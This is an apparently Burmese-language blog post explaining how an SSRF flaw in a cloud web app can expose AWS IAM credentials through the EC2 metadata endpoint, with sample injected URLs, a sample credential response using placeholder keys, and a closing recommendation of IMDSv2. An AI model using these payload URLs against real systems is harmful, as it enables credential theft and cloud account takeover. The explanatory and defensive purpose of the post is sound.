SSRF ကနေတစ်ဆင့် AWS Server ကြီးတစ်ခုလုံး အသိမ်းခံရတဲ့အခါ (Cloud Security)
Cloud ပေါ်တင်ထားတဲ့ Web Application တစ်ခုမှာ SSRF (Server-Side Request Forgery) အားနည်းချက်ရှိနေရင်၊ EC2 Metadata Endpoint (169.254.169.254) ကနေ Admin Credentials တွေ ဘယ်လိုပါသွားတတ်လဲဆိုတာကို ရှင်းပြထားပါတယ်။
ဒီနေ့ Cloud Security ပိုင်းနဲ့ ပတ်သက်ပြီး Pentest လုပ်တဲ့အခါ အမြဲတမ်း သွားသွားစမ်းလေ့ရှိတဲ့ SSRF (Server-Side Request Forgery) အကြောင်းလေး ပြောပြချင်ပါတယ်။
ရိုးရိုး On-Premises ဆာဗာတွေမှာ SSRF မိရင် Internal Network ထဲက Redis တွေ၊ Database တွေကို လှမ်းပတ်မွှေလို့ ရပေမယ့်... Cloud (AWS) ပေါ်မှာဆိုရင်တော့ ဂိမ်းက လုံးဝပြောင်းသွားပါပြီ။
အကြောင်းကတော့ 169.254.169.254 (Instance Metadata Service - IMDS) ဆိုတဲ့ Magic IP ကြီး ရှိနေလို့ပါ။
တိုက်ခိုက်ပုံ အဆင့်ဆင့် (The Attack Vector):
၁။ Application မှာ Webhook ထည့်တဲ့နေရာဖြစ်ဖြစ်၊ ပုံတစ်ပုံକୁ URL ကနေ လှမ်းဆွဲ(Download) တဲ့ နေရာဖြစ်ဖြစ် ရှာတွေ့ပြီဆိုပါစို့။ ဥပမာ https://target.com/fetch_image?url=http://example.com/logo.png
၂။ Hacker က အဲ့ဒီ url parameter နေရာမှာ AWS Metadata IP ကို အစားထိုးလိုက်ပါတယ်။
https://target.com/fetch_image?url=http://169.254.169.254/latest/meta-data/
၃။ အဲ့ဒီအခါ ဆာဗာကြီးက သူ့ရဲ့ Internal Metadata တွေကို Browser ပေါ်မှာ (ဒါမှမဟုတ် Response ထဲမှာ) အန်ချပါတော့တယ်။
အဲ့ဒီမှာ အရေးအကြီးဆုံးက IAM Role Credentials တွေပါ။
http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-Admin-Role လို့ ထပ်ရိုက်လိုက်တာနဲ့...
json{ "Code" : "Success", "LastUpdated" : "2026-03-29T10:00:00Z", "Type" : "AWS-HMAC", "AccessKeyId" : "ASIAIOSFODNN7EXAMPLE", "SecretAccessKey" : "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", "Token" : "IQoJb3JpZ2luX2VjEJv...[LONG_TOKEN]...", "Expiration" : "2026-03-29T16:00:00Z" }
ဆိုပြီး Access Key ရော၊ Secret Key ပါ အစိမ်းလိုက် ထွက်လာပါတယ်။
၄။ ဒီ Keys တွေကို Hacker က သူ့ရဲ့ ကွန်ပျူတာမှာ aws configure နဲ့ ထည့်လိုက်တာနဲ့၊ အဲ့ဒီ EC2 က ရထားတဲ့ "Admin" လုပ်ပိုင်ခွင့်တွေ သူ့ဆီ တန်းရောက်လာပါပြီ။ (S3 bucket တွေ ဖျက်တာ၊ ဆာဗာအသစ်တွေ ထပ်တင်ပြီး Coin mine တာ စိတ်ကြိုက်လုပ်လို့ ရသွားပါပြီ)
ဘယ်လို ကာကွယ်မလဲ?
AWS သုံးတဲ့သူတွေအနေနဲ့ IMDSv2 (Version 2) ကို မဖြစ်မနေ ပြောင်းသုံးရပါမယ်။ IMDSv2 က Session Token အရင်တောင်းရပြီး၊ PUT request တွေမှာ Header သေချာ ထည့်ပေးမှ အလုပ်လုပ်တာမို့လို့၊ ရိုးရိုး SSRF ပေါက်ရုံနဲ့ Credentials တွေ ပါမသွားတော့ပါဘူးဗျ။ Cloud Migration လုပ်ရင် ဒါလေး အမြဲ သတိထားသင့်ပါတယ်။
